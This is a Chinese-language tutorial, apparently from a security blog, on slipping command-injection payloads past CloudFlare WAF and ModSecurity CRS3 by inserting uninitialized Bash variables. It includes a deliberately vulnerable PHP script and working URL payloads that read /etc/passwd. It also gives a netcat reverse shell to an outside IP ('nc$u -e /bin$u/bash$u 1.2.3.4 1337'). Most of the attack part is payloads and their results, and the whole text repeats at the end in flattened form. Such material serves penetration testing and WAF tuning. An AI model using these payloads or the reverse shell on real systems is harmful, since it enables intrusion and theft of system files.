绕过CloudFlare WAF和ModSecurity OWASP CRS3核心规则集的技巧介绍
字数 1495 2025-08-18 11:37:38

绕过CloudFlare WAF和ModSecurity OWASP CRS3核心规则集的技术详解

1. 技术背景

Web应用防火墙(WAF)通常部署在Web客户端与服务器之间,用于过滤恶意流量。渗透测试人员需要了解目标系统的WAF规则并寻找绕过方法。本文重点介绍使用未初始化的Bash变量绕过基于正则表达式过滤的技术。

2. 未初始化Bash变量特性

2.1 基本概念

  • 未初始化变量的值为null(无值)
  • 声明但未初始化与设为空值效果相同:uninitialized_variable=
  • Bash默认将未初始化变量视为空字符串

2.2 示例验证

echo "uninitialized_variable=$uninitialized_variable"  # 输出空值
cat$u /etc$u/passwd$u  # $u被视为空字符串,不影响命令执行

3. 绕过CloudFlare WAF

3.1 测试环境

  • CloudFlare WAF Pro版
  • 安全级别设置为最高(基于OWASP CRS2)
  • 测试PHP脚本:
<?php 
if(isset($_GET['host'])) {
    system('dig '.$_GET['host']);
}

3.2 基本RCE尝试

  • 正常查询:/?host=www.google.com
  • 尝试命令注入:/?host=www.google.com;ls+/(成功)
  • 尝试读取文件:/?host=www.google.com;cat+/etc/passwd(被WAF阻止)

3.3 使用未初始化变量绕过

  • 绕过payload:/?host=www.google.com;cat$u+/etc$u/passwd$u
  • 成功读取/etc/passwd文件内容

3.4 绕过反向shell防护

  • 原始payload被阻止:nc -e /bin/bash 1.2.3.4 1337
  • 绕过payload:nc$u -e /bin$u/bash$u 1.2.3.4 1337
  • 成功获取反向shell

4. 绕过ModSecurity OWASP CRS3.1

4.1 不同防护级别

  • Paranoia Level 1-4(4级几乎无法绕过)
  • Level 3时,原始payload被规则932100阻止(Unix命令注入)

4.2 绕过尝试

  • 初始绕过格式:;+$u+command
  • 示例:?host=www.google.it;+$u+cat+/etc/passwd(被阻止)
  • 改进payload:?host=www.google.it;+$u+cat+/etc$u/passwd$u(部分绕过)

4.3 带引号的PHP脚本

<?php 
if(isset($_GET['host'])) {
    system('dig "'.$_GET['host'].'"');
}
  • 需要闭合或注释引号:/?host=www.google.it";cat+/etc/passwd+#
  • 在CloudFlare上可绕过
  • 在CRS3 Paranoia Level 3下被以下规则阻止:
    • 942460:非单字字符重复检测
    • 942260:特殊字符检测

4.4 Paranoia Level 2下的绕过

  • 有效payload:/?host=www.google.it";+$u+cat+/etc$u/passwd+\#

5. 技术原理分析

5.1 为什么难以防御

  • WAF不能简单阻止$字符,会导致大量误报
  • CRS3采用更智能的方法:检测单个值中4个或更多重复的非单字字符

5.2 防御建议

  • 对用户输入进行严格过滤和转义
  • 使用参数化查询
  • 实施最小权限原则
  • 定期更新WAF规则集
  • 对关键操作使用二次验证

6. 相关技术参考

7. 总结

未初始化的Bash变量提供了一种有效的WAF绕过技术,特别是在CloudFlare WAF和较低防护级别的ModSecurity CRS3环境中。然而,随着防护级别提高(如CRS3 Paranoia Level 3),绕过难度显著增加。防御方应了解这些技术并实施多层防护策略。

绕过CloudFlare WAF和ModSecurity OWASP CRS3核心规则集的技术详解 1. 技术背景 Web应用防火墙(WAF)通常部署在Web客户端与服务器之间,用于过滤恶意流量。渗透测试人员需要了解目标系统的WAF规则并寻找绕过方法。本文重点介绍使用未初始化的Bash变量绕过基于正则表达式过滤的技术。 2. 未初始化Bash变量特性 2.1 基本概念 未初始化变量的值为null(无值) 声明但未初始化与设为空值效果相同: uninitialized_variable= Bash默认将未初始化变量视为空字符串 2.2 示例验证 3. 绕过CloudFlare WAF 3.1 测试环境 CloudFlare WAF Pro版 安全级别设置为最高(基于OWASP CRS2) 测试PHP脚本: 3.2 基本RCE尝试 正常查询: /?host=www.google.com 尝试命令注入: /?host=www.google.com;ls+/ (成功) 尝试读取文件: /?host=www.google.com;cat+/etc/passwd (被WAF阻止) 3.3 使用未初始化变量绕过 绕过payload: /?host=www.google.com;cat$u+/etc$u/passwd$u 成功读取/etc/passwd文件内容 3.4 绕过反向shell防护 原始payload被阻止: nc -e /bin/bash 1.2.3.4 1337 绕过payload: nc$u -e /bin$u/bash$u 1.2.3.4 1337 成功获取反向shell 4. 绕过ModSecurity OWASP CRS3.1 4.1 不同防护级别 Paranoia Level 1-4(4级几乎无法绕过) Level 3时,原始payload被规则932100阻止(Unix命令注入) 4.2 绕过尝试 初始绕过格式: ;+$u+command 示例: ?host=www.google.it;+$u+cat+/etc/passwd (被阻止) 改进payload: ?host=www.google.it;+$u+cat+/etc$u/passwd$u (部分绕过) 4.3 带引号的PHP脚本 需要闭合或注释引号: /?host=www.google.it";cat+/etc/passwd+# 在CloudFlare上可绕过 在CRS3 Paranoia Level 3下被以下规则阻止: 942460:非单字字符重复检测 942260:特殊字符检测 4.4 Paranoia Level 2下的绕过 有效payload: /?host=www.google.it";+$u+cat+/etc$u/passwd+\# 5. 技术原理分析 5.1 为什么难以防御 WAF不能简单阻止$字符,会导致大量误报 CRS3采用更智能的方法:检测单个值中4个或更多重复的非单字字符 5.2 防御建议 对用户输入进行严格过滤和转义 使用参数化查询 实施最小权限原则 定期更新WAF规则集 对关键操作使用二次验证 6. 相关技术参考 WAF绕过技术 #1 WAF绕过技术 #2 7. 总结 未初始化的Bash变量提供了一种有效的WAF绕过技术,特别是在CloudFlare WAF和较低防护级别的ModSecurity CRS3环境中。然而,随着防护级别提高(如CRS3 Paranoia Level 3),绕过难度显著增加。防御方应了解这些技术并实施多层防护策略。